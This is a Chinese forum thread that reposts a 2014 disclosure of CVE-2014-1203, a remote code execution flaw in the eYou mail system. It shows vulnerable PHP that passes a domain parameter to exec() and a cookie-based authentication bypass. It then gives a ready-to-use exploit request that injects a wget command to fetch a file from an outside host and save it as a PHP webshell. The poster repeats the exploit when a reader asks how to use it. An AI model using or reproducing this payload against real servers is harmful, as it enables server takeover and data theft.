C4r1st 发表于 2014-1-9 13:04:09

[CVE-2014-1203]亿邮邮件系统远程执行代码

本帖最后由 C4r1st 于 2014-1-9 16:22 编辑

##########################################
#Title    : 亿邮邮件系统远程执行代码
#
#Time   : 2014年1月8日
##########################################
Date: Wed, 8 Jan 2014 10:56:21 +0800

亿邮在3.6以下的版本存在一个任意代码执行,漏洞文件存在于
\inc\fuction.php
function get_login_ip_config_file($domain, $file) {
    $dir      = '/var/eyou/Domain/';
    $dir_mail = exec('/var/eyou/sbin/hashid '.$domain);//$domain可以自己控制
....
}
继续跟下$domain
存在于\admin\domain\ip_login_set\d_ip_login_get.php
<?php
...
require_once('inc/domain.config.php');
//ValidateAdmin();//不需要登录
$domainname = get_domain(); //Get cookie  
$allow_file = 'web_login_allow_ip';
$deny_file= 'web_login_deny_ip';   
$domain   = trim(get('domain')); //$domain from here.
$type       = trim(get('type'));  //Get type
$res = '';
if($domainname !== 'admin' && $domainname !== $domain) { //我们只是需要设置 $cookie=admin 就可以绕过并继续了.
    echo '';
    exit;
}
if($type === 'allow') { //$type any go
    $file = $allow_file;
    $res .= 'ip_allow&';
} elseif($type === 'deny') {
    $file = $deny_file;
    $res .= 'ip_deny&';
} else {
    echo '';
    exit;
}
$file = get_login_ip_config_file($domain, $file);// 调用了get_login_ip_config_file函数
if($file === FALSE) {
    echo $res;
    exit;
}
exp:
GET
/admin/domain/ip_login_set/d_ip_login_get.php?domain=%3Bwget%20http://conqu3r.paxmac.org/exp.txt%3Bcp%20exp.txt%20exp.php&type=allow
HTTP/1.1
Host: mail.xxx.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:cookie=admin
Connection: keep-alive
copy to http://seclists.org/fulldisclosure/2014/Jan/32
**** Hidden Message *****

C4r1st 发表于 2014-1-9 13:08:17

把EXP位置url标签删除就可以了

木马游民 发表于 2014-1-9 13:40:27

YY看看哈哈哈哈

Diana 发表于 2014-1-9 14:58:40

淼了~ 很强大

a13775647904 发表于 2014-1-9 15:02:09

哟西,又是一个远程执行

huise 发表于 2014-1-9 15:25:14

支持一下

bettypig 发表于 2014-1-9 15:33:54

回复看看,学习一下!!!

2119 发表于 2014-1-9 15:38:47

谢谢分享:lol

浩森 发表于 2014-1-9 16:04:26

怎么利用

C4r1st 发表于 2014-1-9 16:21:11

浩森 发表于 2014-1-9 16:04 static/image/common/back.gif
怎么利用

/admin/domain/ip_login_set/d_ip_login_get.php?domain=%3Bwget%20http://conqu3r.paxmac.org/exp.txt%3Bcp%20exp.txt%20exp.php&type=allow
这个exp.txt的内容不解释~
页: [1] 2 3 4 5 6
查看完整版本: [CVE-2014-1203]亿邮邮件系统远程执行代码